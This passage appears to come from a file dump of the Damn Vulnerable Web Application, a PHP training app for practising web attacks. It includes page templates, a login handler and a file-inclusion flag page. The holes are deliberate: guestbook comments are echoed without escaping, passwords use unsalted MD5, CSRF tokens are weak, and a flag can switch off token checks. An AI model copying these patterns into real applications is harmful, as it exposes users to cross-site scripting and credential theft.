{\n\t\t\t$selectedClass = ( $menuItem[ 'id' ] == $pPage[ 'page_id' ] ) ? 'selected' : '';\n\t\t\t$fixedUrl = DVWA_WEB_PAGE_TO_ROOT.$menuItem[ 'url' ];\n\t\t\t$menuBlockHtml .= \"<li class=\\\"{$selectedClass}\\\"><a href=\\\"{$fixedUrl}\\\">{$menuItem[ 'name' ]}</a></li>\\n\";\n\t\t}\n\t\t$menuHtml .= \"<ul class=\\\"menuBlocks\\\">{$menuBlockHtml}</ul>\";\n\t}\n\n\t// Get security cookie --\n\t$securityLevelHtml = '';\n\tswitch( dvwaSecurityLevelGet() ) {\n\t\tcase 'low':\n\t\t\t$securityLevelHtml = 'low';\n\t\t\tbreak;\n\t\tcase 'medium':\n\t\t\t$securityLevelHtml = 'medium';\n\t\t\tbreak;\n\t\tcase 'high':\n\t\t\t$securityLevelHtml = 'high';\n\t\t\tbreak;\n\t\tdefault:\n\t\t\t$securityLevelHtml = 'impossible';\n\t\t\tbreak;\n\t}\n\t// -- END (security cookie)\n\n\t$userInfoHtml = '<em>Username:</em> ' . ( dvwaCurrentUser() );\n\t$securityLevelHtml = \"<em>Security Level:</em> {$securityLevelHtml}\";\n\t$securityLevelHtml = \"<em>Security Level:</em> {$securityLevelHtml}\";\n\t$localeHtml = '<em>Locale:</em> ' . ( dvwaLocaleGet() );\n\t$sqliDbHtml = '<em>SQLi DB:</em> ' . ( dvwaSQLiDBGet() );\n\n\n\t$messagesHtml = messagesPopAllToHtml();\n\tif( $messagesHtml ) {\n\t\t$messagesHtml = \"<div class=\\\"body_padded\\\">{$messagesHtml}</div>\";\n\t}\n\n\t$systemInfoHtml = \"\";\n\tif( dvwaIsLoggedIn() )\n\t\t$systemInfoHtml = \"<div align=\\\"left\\\">{$userInfoHtml}<br />{$securityLevelHtml}<br />{$localeHtml}<br />{$sqliDbHtml}</div>\";\n\tif( $pPage[ 'source_button' ] ) {\n\t\t$systemInfoHtml = dvwaButtonSourceHtmlGet( $pPage[ 'source_button' ] ) . \" $systemInfoHtml\";\n\t}\n\tif( $pPage[ 'help_button' ] ) {\n\t\t$systemInfoHtml = dvwaButtonHelpHtmlGet( $pPage[ 'help_button' ] ) . \" $systemInfoHtml\";\n\t}\n\n\t// Send Headers + main HTML code\n\tHeader( 'Cache-Control: no-cache, must-revalidate');   // HTTP/1.1\n\tHeader( 'Content-Type: text/html;charset=utf-8' );     // TODO- proper XHTML headers...\n\tHeader( 'Expires: Tue, 23 Jun 2009 12:00:00 GMT' );    // Date in the past\n\n\techo \"<!DOCTYPE html>\n\n<html lang=\\\"en-GB\\\">\n\n\t<head>\n\t\t<meta http-equiv=\\\"Content-Type\\\" content=\\\"text/html; charset=UTF-8\\\" />\n\n\t\t<title>{$pPage[ 'title' ]}</title>\n\n\t\t<link rel=\\\"stylesheet\\\" type=\\\"text/css\\\" href=\\\"\" . DVWA_WEB_PAGE_TO_ROOT . \"dvwa/css/main.css\\\" />\n\n\t\t<link rel=\\\"icon\\\" type=\\\"\\image/ico\\\" href=\\\"\" . DVWA_WEB_PAGE_TO_ROOT . \"favicon.ico\\\" />\n\n\t\t<script type=\\\"text/javascript\\\" src=\\\"\" . DVWA_WEB_PAGE_TO_ROOT . \"dvwa/js/dvwaPage.js\\\"></script>\n\n\t</head>\n\n\t<body class=\\\"home \" . dvwaThemeGet() . \"\\\">\n\t\t<div id=\\\"container\\\">\n\n\t\t\t<div id=\\\"header\\\">\n\n\t\t\t\t<img src=\\\"\" . DVWA_WEB_PAGE_TO_ROOT . \"dvwa/images/logo.png\\\" alt=\\\"Damn Vulnerable Web Application\\\" />\n                <a href=\\\"#\\\" onclick=\\\"javascript:toggleTheme();\\\" class=\\\"theme-icon\\\" title=\\\"Toggle theme between light and dark.\\\">\n                    <img src=\\\"\" . DVWA_WEB_PAGE_TO_ROOT . \"dvwa/images/theme-light-dark.png\\\" alt=\\\"Damn Vulnerable Web Application\\\" />\n                </a>\n\t\t\t</div>\n\n\t\t\t<div id=\\\"main_menu\\\">\n\n\t\t\t\t<div id=\\\"main_menu_padded\\\">\n\t\t\t\t{$menuHtml}\n\t\t\t\t</div>\n\n\t\t\t</div>\n\n\t\t\t<div id=\\\"main_body\\\">\n\n\t\t\t\t{$pPage[ 'body' ]}\n\t\t\t\t<br /><br />\n\t\t\t\t{$messagesHtml}\n\n\t\t\t</div>\n\n\t\t\t<div class=\\\"clear\\\">\n\t\t\t</div>\n\n\t\t\t<div id=\\\"system_info\\\">\n\t\t\t\t{$systemInfoHtml}\n\t\t\t</div>\n\n\t\t\t<div id=\\\"footer\\\">\n\n\t\t\t\t<p>Damn Vulnerable Web Application (DVWA)</p>\n\t\t\t\t<script src='\" . DVWA_WEB_PAGE_TO_ROOT . \"dvwa/js/add_event_listeners.js'></script>\n\n\t\t\t</div>\n\n\t\t</div>\n\n\t</body>\n\n</html>\";\n}\n\n\nfunction dvwaHelpHtmlEcho( $pPage ) {\n\t// Send Headers\n\tHeader( 'Cache-Control: no-cache, must-revalidate');   // HTTP/1.1\n\tHeader( 'Content-Type: text/html;charset=utf-8' );     // TODO- proper XHTML headers...\n\tHeader( 'Expires: Tue, 23 Jun 2009 12:00:00 GMT' );    // Date in the past\n\n\techo \"<!DOCTYPE html>\n\n<html lang=\\\"en-GB\\\">\n\n\t<head>\n\n\t\t<meta http-equiv=\\\"Content-Type\\\" content=\\\"text/html; charset=UTF-8\\\" />\n\n\t\t<title>{$pPage[ 'title' ]}</title>\n\n\t\t<link rel=\\\"stylesheet\\\" type=\\\"text/css\\\" href=\\\"\" . DVWA_WEB_PAGE_TO_ROOT . \"dvwa/css/help.css\\\" />\n\n\t\t<link rel=\\\"icon\\\" type=\\\"\\image/ico\\\" href=\\\"\" . DVWA_WEB_PAGE_TO_ROOT . \"favicon.ico\\\" />\n\n\t</head>\n\n\t<body class=\\\"\" . dvwaThemeGet() . \"\\\">\n\n\t<div id=\\\"container\\\">\n\n\t\t\t{$pPage[ 'body' ]}\n\n\t\t</div>\n\n\t</body>\n\n</html>\";\n}\n\n\nfunction dvwaSourceHtmlEcho( $pPage ) {\n\t// Send Headers\n\tHeader( 'Cache-Control: no-cache, must-revalidate');   // HTTP/1.1\n\tHeader( 'Content-Type: text/html;charset=utf-8' );     // TODO- proper XHTML headers...\n\tHeader( 'Expires: Tue, 23 Jun 2009 12:00:00 GMT' );    // Date in the past\n\n\techo \"<!DOCTYPE html>\n\n<html lang=\\\"en-GB\\\">\n\n\t<head>\n\n\t\t<meta http-equiv=\\\"Content-Type\\\" content=\\\"text/html; charset=UTF-8\\\" />\n\n\t\t<title>{$pPage[ 'title' ]}</title>\n\n\t\t<link rel=\\\"stylesheet\\\" type=\\\"text/css\\\" href=\\\"\" . DVWA_WEB_PAGE_TO_ROOT . \"dvwa/css/source.css\\\" />\n\n\t\t<link rel=\\\"icon\\\" type=\\\"\\image/ico\\\" href=\\\"\" . DVWA_WEB_PAGE_TO_ROOT . \"favicon.ico\\\" />\n\n\t</head>\n\n\t<body class=\\\"\" . dvwaThemeGet() . \"\\\">\n\n\t\t<div id=\\\"container\\\">\n\n\t\t\t{$pPage[ 'body' ]}\n\n\t\t</div>\n\n\t</body>\n\n</html>\";\n}\n\n// To be used on all external links --\nfunction dvwaExternalLinkUrlGet( $pLink,$text=null ) {\n\tif(is_null( $text ) || $text == \"\") {\n\t\treturn '<a href=\"' . $pLink . '\" target=\"_blank\">' . $pLink . '</a>';\n\t}\n\telse {\n\t\treturn '<a href=\"' . $pLink . '\" target=\"_blank\">' . $text . '</a>';\n\t}\n}\n// -- END ( external links)\n\nfunction dvwaButtonHelpHtmlGet( $pId ) {\n\t$security = dvwaSecurityLevelGet();\n\t$locale = dvwaLocaleGet();\n\treturn \"<input type=\\\"button\\\" value=\\\"View Help\\\" class=\\\"popup_button\\\" id='help_button' data-help-url='\" . DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/view_help.php?id={$pId}&security={$security}&locale={$locale}' )\\\">\";\n}\n\n\nfunction dvwaButtonSourceHtmlGet( $pId ) {\n\t$security = dvwaSecurityLevelGet();\n\treturn \"<input type=\\\"button\\\" value=\\\"View Source\\\" class=\\\"popup_button\\\" id='source_button' data-source-url='\" . DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/view_source.php?id={$pId}&security={$security}' )\\\">\";\n}\n\n\n// Database Management --\n\nif( $DBMS == 'MySQL' ) {\n\t$DBMS = htmlspecialchars(strip_tags( $DBMS ));\n}\nelseif( $DBMS == 'PGSQL' ) {\n\t$DBMS = htmlspecialchars(strip_tags( $DBMS ));\n}\nelse {\n\t$DBMS = \"No DBMS selected.\";\n}\n\nfunction dvwaDatabaseConnect() {\n\tglobal $_DVWA;\n\tglobal $DBMS;\n\t//global $DBMS_connError;\n\tglobal $db;\n\tglobal $sqlite_db_connection;\n\n\tif( $DBMS == 'MySQL' ) {\n\t\tif( !@($GLOBALS[\"___mysqli_ston\"] = mysqli_connect( $_DVWA[ 'db_server' ],  $_DVWA[ 'db_user' ],  $_DVWA[ 'db_password' ], \"\", $_DVWA[ 'db_port' ] ))\n\t\t|| !@((bool)mysqli_query($GLOBALS[\"___mysqli_ston\"], \"USE \" . $_DVWA[ 'db_database' ])) ) {\n\t\t\t//die( $DBMS_connError );\n\t\t\tdvwaLogout();\n\t\t\tdvwaMessagePush( 'Unable to connect to the database.<br />' . mysqli_error($GLOBALS[\"___mysqli_ston\"]));\n\t\t\tdvwaRedirect( DVWA_WEB_PAGE_TO_ROOT . 'setup.php' );\n\t\t}\n\t\t// MySQL PDO Prepared Statements (for impossible levels)\n\t\t$db = new PDO('mysql:host=' . $_DVWA[ 'db_server' ].';dbname=' . $_DVWA[ 'db_database' ].';port=' . $_DVWA['db_port'] . ';charset=utf8', $_DVWA[ 'db_user' ], $_DVWA[ 'db_password' ]);\n\t\t$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\t\t$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);\n\t}\n\telseif( $DBMS == 'PGSQL' ) {\n\t\t//$dbconn = pg_connect(\"host={$_DVWA[ 'db_server' ]} dbname={$_DVWA[ 'db_database' ]} user={$_DVWA[ 'db_user' ]} password={$_DVWA[ 'db_password' ]}\"\n\t\t//or die( $DBMS_connError );\n\t\tdvwaMessagePush( 'PostgreSQL is not currently supported.' );\n\t\tdvwaPageReload();\n\t}\n\telse {\n\t\tdie ( \"Unknown {$DBMS} selected.\" );\n\t}\n\n\tif ($_DVWA['SQLI_DB'] == SQLITE) {\n\t\t$location = DVWA_WEB_PAGE_TO_ROOT . \"database/\" . $_DVWA['SQLITE_DB'];\n\t\t$sqlite_db_connection = new SQLite3($location);\n\t\t$sqlite_db_connection->enableExceptions(true);\n\t#\tprint \"sqlite db setup\";\n\t}\n}\n\n// -- END (Database Management)\n\n\nfunction dvwaRedirect( $pLocation ) {\n\tsession_commit();\n\theader( \"Location: {$pLocation}\" );\n\texit;\n}\n\n// XSS Stored guestbook function --\nfunction dvwaGuestbook() {\n\t$query  = \"SELECT name, comment FROM guestbook\";\n\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $query );\n\n\t$guestbook = '';\n\n\twhile( $row = mysqli_fetch_row( $result ) ) {\n\t\tif( dvwaSecurityLevelGet() == 'impossible' ) {\n\t\t\t$name    = htmlspecialchars( $row[0] );\n\t\t\t$comment = htmlspecialchars( $row[1] );\n\t\t}\n\t\telse {\n\t\t\t$name    = $row[0];\n\t\t\t$comment = $row[1];\n\t\t}\n\n\t\t$guestbook .= \"<div id=\\\"guestbook_comments\\\">Name: {$name}<br />\" . \"Message: {$comment}<br /></div>\\n\";\n\t}\n\treturn $guestbook;\n}\n// -- END (XSS Stored guestbook)\n\n\n// Token functions --\nfunction checkToken( $user_token, $session_token, $returnURL ) {  # Validate the given (CSRF) token\n\tglobal $_DVWA;\n\n\tif (array_key_exists(\"disable_authentication\", $_DVWA) && $_DVWA['disable_authentication']) {\n\t\treturn true;\n\t}\n\n\tif( $user_token !== $session_token || !isset( $session_token ) ) {\n\t\tdvwaMessagePush( 'CSRF token is incorrect' );\n\t\tdvwaRedirect( $returnURL );\n\t}\n}\n\nfunction generateSessionToken() {  # Generate a brand new (CSRF) token\n\tif( isset( $_SESSION[ 'session_token' ] ) ) {\n\t\tdestroySessionToken();\n\t}\n\t$_SESSION[ 'session_token' ] = md5( uniqid() );\n}\n\nfunction destroySessionToken() {  # Destroy any session with the name 'session_token'\n\tunset( $_SESSION[ 'session_token' ] );\n}\n\nfunction tokenField() {  # Return a field for the (CSRF) token\n\treturn \"<input type='hidden' name='user_token' value='{$_SESSION[ 'session_token' ]}' />\";\n}\n// -- END (Token functions)\n\n\n// Setup Functions --\n$PHPUploadPath    = realpath( getcwd() . DIRECTORY_SEPARATOR . DVWA_WEB_PAGE_TO_ROOT . \"hackable\" . DIRECTORY_SEPARATOR . \"uploads\" ) . DIRECTORY_SEPARATOR;\n$PHPCONFIGPath       = realpath( getcwd() . DIRECTORY_SEPARATOR . DVWA_WEB_PAGE_TO_ROOT . \"config\");\n\n\n$phpDisplayErrors = 'PHP function display_errors: <span class=\"' . ( ini_get( 'display_errors' ) ? 'success\">Enabled' : 'failure\">Disabled' ) . '</span>';                                                  // Verbose error messages (e.g. full path disclosure)\n$phpDisplayStartupErrors = 'PHP function display_startup_errors: <span class=\"' . ( ini_get( 'display_startup_errors' ) ? 'success\">Enabled' : 'failure\">Disabled' ) . '</span>';                                                  // Verbose error messages (e.g. full path disclosure)\n$phpDisplayErrors = 'PHP function display_errors: <span class=\"' . ( ini_get( 'display_errors' ) ? 'success\">Enabled' : 'failure\">Disabled' ) . '</span>';                                                  // Verbose error messages (e.g. full path disclosure)\n$phpURLInclude    = 'PHP function allow_url_include: <span class=\"' . ( ini_get( 'allow_url_include' ) ? 'success\">Enabled' : 'failure\">Disabled' ) . '</span> - Feature deprecated in PHP 7.4, see lab for more information';                                   // RFI\n$phpURLFopen      = 'PHP function allow_url_fopen: <span class=\"' . ( ini_get( 'allow_url_fopen' ) ? 'success\">Enabled' : 'failure\">Disabled' ) . '</span>';                                       // RFI\n$phpGD            = 'PHP module gd: <span class=\"' . ( ( extension_loaded( 'gd' ) && function_exists( 'gd_info' ) ) ? 'success\">Installed' : 'failure\">Missing - Only an issue if you want to play with captchas' ) . '</span>';                    // File Upload\n$phpMySQL         = 'PHP module mysql: <span class=\"' . ( ( extension_loaded( 'mysqli' ) && function_exists( 'mysqli_query' ) ) ? 'success\">Installed' : 'failure\">Missing' ) . '</span>';                // Core DVWA\n$phpPDO           = 'PHP module pdo_mysql: <span class=\"' . ( extension_loaded( 'pdo_mysql' ) ? 'success\">Installed' : 'failure\">Missing' ) . '</span>';                // SQLi\n$DVWARecaptcha    = 'reCAPTCHA key: <span class=\"' . ( ( isset( $_DVWA[ 'recaptcha_public_key' ] ) && $_DVWA[ 'recaptcha_public_key' ] != '' ) ? 'success\">' . $_DVWA[ 'recaptcha_public_key' ] : 'failure\">Missing' ) . '</span>';\n\n$DVWAUploadsWrite = 'Writable folder ' . $PHPUploadPath . ': <span class=\"' . ( is_writable( $PHPUploadPath ) ? 'success\">Yes' : 'failure\">No' ) . '</span>';                                     // File Upload\n$bakWritable = 'Writable folder ' . $PHPCONFIGPath . ': <span class=\"' . ( is_writable( $PHPCONFIGPath ) ? 'success\">Yes' : 'failure\">No' ) . '</span>';   // config.php.bak check                                  // File Upload\n\n$DVWAOS           = 'Operating system: <em>' . ( strtoupper( substr (PHP_OS, 0, 3)) === 'WIN' ? 'Windows' : '*nix' ) . '</em>';\n$SERVER_NAME      = 'Web Server SERVER_NAME: <em>' . $_SERVER[ 'SERVER_NAME' ] . '</em>';                                                                                                          // CSRF\n\n$MYSQL_USER       = 'Database username: <em>' . $_DVWA[ 'db_user' ] . '</em>';\n$MYSQL_PASS       = 'Database password: <em>' . ( ($_DVWA[ 'db_password' ] != \"\" ) ? '******' : '*blank*' ) . '</em>';\n$MYSQL_DB         = 'Database database: <em>' . $_DVWA[ 'db_database' ] . '</em>';\n$MYSQL_SERVER     = 'Database host: <em>' . $_DVWA[ 'db_server' ] . '</em>';\n$MYSQL_PORT       = 'Database port: <em>' . $_DVWA[ 'db_port' ] . '</em>';\n// -- END (Setup Functions)\n\n?>\n"
  },
  {
    "path": "dvwa/js/add_event_listeners.js",
    "content": "// These functions need to be called after the content they reference\n// has been added to the page otherwise they will fail.\n\nfunction addEventListeners() {\n\tvar source_button = document.getElementById (\"source_button\");\n\n\tif (source_button) {\n\t\tsource_button.addEventListener(\"click\", function() {\n\t\t\tvar url=source_button.dataset.sourceUrl;\n\t\t\tpopUp (url);\n\t\t});\n\t}\n\n\tvar help_button = document.getElementById (\"help_button\");\n\n\tif (help_button) {\n\t\thelp_button.addEventListener(\"click\", function() {\n\t\t\tvar url=help_button.dataset.helpUrl;\n\t\t\tpopUp (url);\n\t\t});\n\t}\n}\n\naddEventListeners();\n"
  },
  {
    "path": "dvwa/js/dvwaPage.js",
    "content": "/* Help popup */\r\n\r\nfunction popUp(URL) {\r\n\tday = new Date();\r\n\tid = day.getTime();\r\n\twindow.open(URL, '\" + id + \"', 'toolbar=0,scrollbars=1,location=0,statusbar=0,menubar=0,resizable=1,width=800,height=300,left=540,top=250');\r\n\t//eval(\"page\" + id + \" = window.open(URL, '\" + id + \"', 'toolbar=0,scrollbars=1,location=0,statusbar=0,menubar=0,resizable=1,width=800,height=300,left=540,top=250');\");\r\n}\r\n\r\n/* Form validation */\r\n\r\nfunction validate_required(field,alerttxt)\r\n{\r\nwith (field) {\r\n  if (value==null||value==\"\") {\r\n    alert(alerttxt);return false;\r\n  }\r\n  else {\r\n    return true;\r\n  }\r\n }\r\n}\r\n\r\nfunction validateGuestbookForm(thisform) {\r\nwith (thisform) {\r\n\r\n  // Guestbook form\r\n  if (validate_required(txtName,\"Name can not be empty.\")==false)\r\n  {txtName.focus();return false;}\r\n  \r\n  if (validate_required(mtxMessage,\"Message can not be empty.\")==false)\r\n  {mtxMessage.focus();return false;}\r\n  \r\n  }\r\n}\r\n\r\nfunction confirmClearGuestbook() {\r\n\treturn confirm(\"Are you sure you want to clear the guestbook?\");\r\n}\r\n\r\nfunction toggleTheme() {\r\n    document.body.classList.toggle('dark');\r\n    const theme = document.body.classList.contains('dark') ? 'dark' : 'light';\r\n    document.cookie = \"theme=\" + theme + \"; path=/\";\r\n}\r\n"
  },
  {
    "path": "external/recaptcha/recaptchalib.php",
    "content": "<?php\n\n// new php7 captcha v2 implementation.\n\nfunction recaptcha_check_answer($key, $response){\n\treturn CheckCaptcha($key, $response);\n}\n\nfunction CheckCaptcha($key, $response) {\n\n\ttry {\n\t\t$url = 'https://www.google.com/recaptcha/api/siteverify';\n\t\t$dat = array(\n\t\t\t'secret'   => $key,\n\t\t\t'response' => urlencode($response),\n\t\t\t'remoteip' => urlencode($_SERVER['REMOTE_ADDR'])\n\t\t);\n\n\t\t$opt = array(\n\t\t\t'http' => array(\n\t\t\t\t'header'  => \"Content-type: application/x-www-form-urlencoded\\r\\n\",\n\t\t\t\t'method'  => 'POST',\n\t\t\t\t'content' => http_build_query($dat)\n\t\t\t)\n\t\t);\n\n\t\t$context = stream_context_create($opt);\n\t\t$result  = file_get_contents($url, false, $context);\n\n\t\treturn json_decode($result)->success;\n\n\t} catch (Exception $e) {\n\t\treturn null;\n\t}\n\n}\n\nfunction recaptcha_get_html($pubKey){\n\treturn \"\n\t\t<script src='https://www.google.com/recaptcha/api.js'></script>\n\t\t<br /> <div class='g-recaptcha' data-theme='dark' data-sitekey='\" . $pubKey . \"'></div>\n\t\";\n}\n\n?>\n"
  },
  {
    "path": "hackable/flags/fi.php",
    "content": "<?php\n\nif( !defined( 'DVWA_WEB_PAGE_TO_ROOT' ) ) {\n\texit (\"Nice try ;-). Use the file include next time!\");\n}\n\n?>\n\n1.) Bond. James Bond\n\n<?php\n\necho \"2.) My name is Sherlock Holmes. It is my business to know what other people don't know.\\n\\n<br /><br />\\n\";\n\n$line3 = \"3.) Romeo, Romeo! Wherefore art thou Romeo?\";\n$line3 = \"--LINE HIDDEN ;)--\";\necho $line3 . \"\\n\\n<br /><br />\\n\";\n\n$line4 = \"NC4pI\" . \"FRoZSBwb29s\" . \"IG9uIH\" . \"RoZSByb29mIG1\" . \"1c3QgaGF\" . \"2ZSBh\" . \"IGxlY\" . \"Wsu\";\necho base64_decode( $line4 );\n\n?>\n\n<!-- 5.) The world isn't run by weapons anymore, or energy, or money. It's run by little ones and zeroes, little bits of data. It's all just electrons. -->\n"
  },
  {
    "path": "index.php",
    "content": "<?php\n\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '' );\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\n\ndvwaPageStartup( array( 'authenticated' ) );\n\n$page = dvwaPageNewGrab();\n$page[ 'title' ]   = 'Welcome' . $page[ 'title_separator' ].$page[ 'title' ];\n$page[ 'page_id' ] = 'home';\n\n$page[ 'body' ] .= \"\n<div class=\\\"body_padded\\\">\n\t<h1>Welcome to Damn Vulnerable Web Application!</h1>\n\t<p>Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and to aid both students & teachers to learn about web application security in a controlled class room environment.</p>\n\t<p>The aim of DVWA is to <em>practice some of the most common web vulnerabilities</em>, with <em>various levels of difficultly</em>, with a simple straightforward interface.</p>\n\t<hr />\n\t<br />\n\n\t<h2>General Instructions</h2>\n\t<p>It is up to the user how they approach DVWA. Either by working through every module at a fixed level, or selecting any module and working up to reach the highest level they can before moving onto the next one. There is not a fixed object to complete a module; however users should feel that they have successfully exploited the system as best as they possible could by using that particular vulnerability.</p>\n\t<p>Please note, there are <em>both documented and undocumented vulnerabilities</em> with this software. This is intentional. You are encouraged to try and discover as many issues as possible.</p>\n\t<p>There is a help button at the bottom of each page, which allows you to view hints & tips for that vulnerability. There are also additional links for further background reading, which relates to that security issue.</p>\n\t<hr />\n\t<br />\n\n\t<h2>WARNING!</h2>\n\t<p>Damn Vulnerable Web Application is damn vulnerable! <em>Do not upload it to your hosting provider's public html folder or any Internet facing servers</em>, as they will be compromised. It is recommend using a virtual machine (such as \" . dvwaExternalLinkUrlGet( 'https://www.virtualbox.org/','VirtualBox' ) . \" or \" . dvwaExternalLinkUrlGet( 'https://www.vmware.com/','VMware' ) . \"), which is set to NAT networking mode. Inside a guest machine, you can download and install \" . dvwaExternalLinkUrlGet( 'https://www.apachefriends.org/','XAMPP' ) . \" for the web server and database.</p>\n\t<br />\n\t<h3>Disclaimer</h3>\n\t<p>We do not take responsibility for the way in which any one uses this application (DVWA). We have made the purposes of the application clear and it should not be used maliciously. We have given warnings and taken measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.</p>\n\t<hr />\n\t<br />\n\n\t<h2>More Training Resources</h2>\n\t<p>DVWA aims to cover the most commonly seen vulnerabilities found in today's web applications. However there are plenty of other issues with web applications. Should you wish to explore any additional attack vectors, or want more difficult challenges, you may wish to look into the following other projects:</p>\n\t<ul>\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://github.com/webpwnized/mutillidae', 'Mutillidae') . \"</li>\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-vulnerable-web-applications-directory', 'OWASP Vulnerable Web Applications Directory') . \"</li>\n\t</ul>\n\t<hr />\n\t<br />\n</div>\";\n\ndvwaHtmlEcho( $page );\n\n?>\n"
  },
  {
    "path": "instructions.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/Parsedown.php';\r\n\r\ndvwaPageStartup( array( ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ]   = 'Instructions' . $page[ 'title_separator' ].$page[ 'title' ];\r\n$page[ 'page_id' ] = 'instructions';\r\n\r\n$docs = array(\r\n\t'readme'         => array( 'type' => 'markdown', 'legend' => 'Read Me', 'file' => 'README.md' ),\r\n\t'PDF'            => array( 'type' => 'html' ,'legend' => 'PDF Guide', 'file' => 'docs/pdf.html' ),\r\n\t'changelog'      => array( 'type' => 'markdown', 'legend' => 'Change Log', 'file' => 'CHANGELOG.md' ),\r\n\t'copying'        => array( 'type' => 'markdown', 'legend' => 'Copying', 'file' => 'COPYING.txt' ),\r\n);\r\n\r\n$selectedDocId = isset( $_GET[ 'doc' ] ) ? $_GET[ 'doc' ] : '';\r\nif( !array_key_exists( $selectedDocId, $docs ) ) {\r\n\t$selectedDocId = 'readme';\r\n}\r\n$readFile = $docs[ $selectedDocId ][ 'file' ];\r\n\r\n$instructions = file_get_contents( DVWA_WEB_PAGE_TO_ROOT.$readFile );\r\n\r\nif ($docs[ $selectedDocId ]['type'] == \"markdown\") {\r\n\t$parsedown = new ParseDown();\r\n\t$instructions = $parsedown->text($instructions);\r\n}\r\n\r\n/*\r\nfunction urlReplace( $matches ) {\r\n\treturn dvwaExternalLinkUrlGet( $matches[1] );\r\n}\r\n\r\n// Make links and obfuscate the referer...\r\n$instructions = preg_replace_callback(\r\n\t'/((http|https|ftp):\\/\\/([[:alnum:]|.|\\/|?|=]+))/',\r\n\t'urlReplace',\r\n\t$instructions\r\n);\r\n\r\n$instructions = nl2br( $instructions );\r\n*/\r\n$docMenuHtml = '';\r\nforeach( array_keys( $docs ) as $docId ) {\r\n\t$selectedClass = ( $docId == $selectedDocId ) ? ' selected' : '';\r\n\t$docMenuHtml  .= \"<span class=\\\"submenu_item{$selectedClass}\\\"><a href=\\\"?doc={$docId}\\\">{$docs[$docId]['legend']}</a></span>\";\r\n}\r\n$docMenuHtml = \"<div class=\\\"submenu\\\">{$docMenuHtml}</div>\";\r\n\r\n$page[ 'body' ] .= \"\r\n<div class=\\\"body_padded\\\">\r\n\t<h1>Instructions</h1>\r\n\r\n\t{$docMenuHtml}\r\n\r\n\t<span class=\\\"fixed\\\">\r\n\t\t{$instructions}\r\n\t</span>\r\n</div>\";\r\n\r\ndvwaHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "login.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( ) );\r\n\r\ndvwaDatabaseConnect();\r\n\r\nif( isset( $_POST[ 'Login' ] ) ) {\r\n\t// Anti-CSRF\r\n\tif (array_key_exists (\"session_token\", $_SESSION)) {\r\n\t\t$session_token = $_SESSION[ 'session_token' ];\r\n\t} else {\r\n\t\t$session_token = \"\";\r\n\t}\r\n\r\n\tcheckToken( $_REQUEST[ 'user_token' ], $session_token, 'login.php' );\r\n\r\n\t$user = $_POST[ 'username' ];\r\n\t$user = stripslashes( $user );\r\n\t$user = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $user ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\r\n\t$pass = $_POST[ 'password' ];\r\n\t$pass = stripslashes( $pass );\r\n\t$pass = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $pass ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\t$pass = md5( $pass );\r\n\r\n\t$query = (\"SELECT table_schema, table_name, create_time\r\n\t\t\t\tFROM information_schema.tables\r\n\t\t\t\tWHERE table_schema='{$_DVWA['db_database']}' AND table_name='users'\r\n\t\t\t\tLIMIT 1\");\r\n\t$result = @mysqli_query($GLOBALS[\"___mysqli_ston\"],  $query );\r\n\tif( mysqli_num_rows( $result ) != 1 ) {\r\n\t\tdvwaMessagePush( \"First time using DVWA.<br />Need to run 'setup.php'.\" );\r\n\t\tdvwaRedirect( DVWA_WEB_PAGE_TO_ROOT . 'setup.php' );\r\n\t}\r\n\r\n\t$query  = \"SELECT * FROM `users` WHERE user='$user' AND password='$pass';\";\r\n\t$result = @mysqli_query($GLOBALS[\"___mysqli_ston\"],  $query ) or die( '<pre>' . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '.<br />Try <a href=\"setup.php\">installing again</a>.</pre>' );\r\n\tif( $result && mysqli_num_rows( $result ) == 1 ) {    // Login Successful...\r\n\t\tdvwaMessagePush( \"You have logged in as '{$user}'\" );\r\n\t\tdvwaLogin( $user );\r\n\t\tdvwaRedirect( DVWA_WEB_PAGE_TO_ROOT . 'index.php' );\r\n\t}\r\n\r\n\t// Login failed\r\n\tdvwaMessagePush( 'Login failed' );\r\n\tdvwaRedirect( 'login.php' );\r\n}\r\n\r\n$messagesHtml = messagesPopAllToHtml();\r\n\r\nHeader( 'Cache-Control: no-cache, must-revalidate');    // HTTP/1.1\r\nHeader( 'Content-Type: text/html;charset=utf-8' );      // TODO- proper XHTML headers...\r\nHeader( 'Expires: Tue, 23 Jun 2009 12:00:00 